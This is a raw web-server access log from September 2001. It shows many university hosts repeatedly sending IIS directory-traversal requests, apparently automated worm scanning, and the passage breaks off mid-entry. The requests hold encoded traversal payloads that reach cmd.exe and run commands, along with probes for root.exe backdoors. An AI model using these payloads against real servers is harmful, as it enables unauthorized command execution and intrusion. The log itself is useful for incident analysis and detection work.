hudson.hksm.columbia.edu [128.59.51.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:11: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:21:19: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:21:20: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:20: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:20: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:21:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:23: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:23: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:21:23: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:22:57: CONF24.CE.UTK.EDU [128.169.232.44] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:22:59: CONF24.CE.UTK.EDU [128.169.232.44] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:22:59: CONF24.CE.UTK.EDU [128.169.232.44] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:22:59: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:00: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:00: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:00: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:01: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:01: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:01: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:02: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:02: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:23:09: hudson.hksm.columbia.edu [128.59.51.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:23:09: hudson.hksm.columbia.edu [128.59.51.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:09: hudson.hksm.columbia.edu [128.59.51.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:23:50: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:25:31: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:25:31: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:31: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:32: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:35: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:35: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:40: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:40: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:41: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:41: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:41: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:25:41: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:26:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:28:06: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:30:00: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:32:27: fern-220.dhcp.umass.edu [128.119.124.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:32:27: fern-220.dhcp.umass.edu [128.119.124.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:28: fern-220.dhcp.umass.edu [128.119.124.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:28: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:28: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:29: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:29: fern-220.dhcp.umass.edu [128.119.124.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:29: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:30: [203.197.237.163] "" 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:58: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:58: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:58: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:32:59: [203.197.237.163] "" 20010918 11:33:28: [203.197.237.163] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:33:48: [203.197.237.163] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:34:10: [203.197.237.163] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:34:30: [203.197.237.163] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:00: [203.197.237.163] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:23: [203.197.237.163] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET 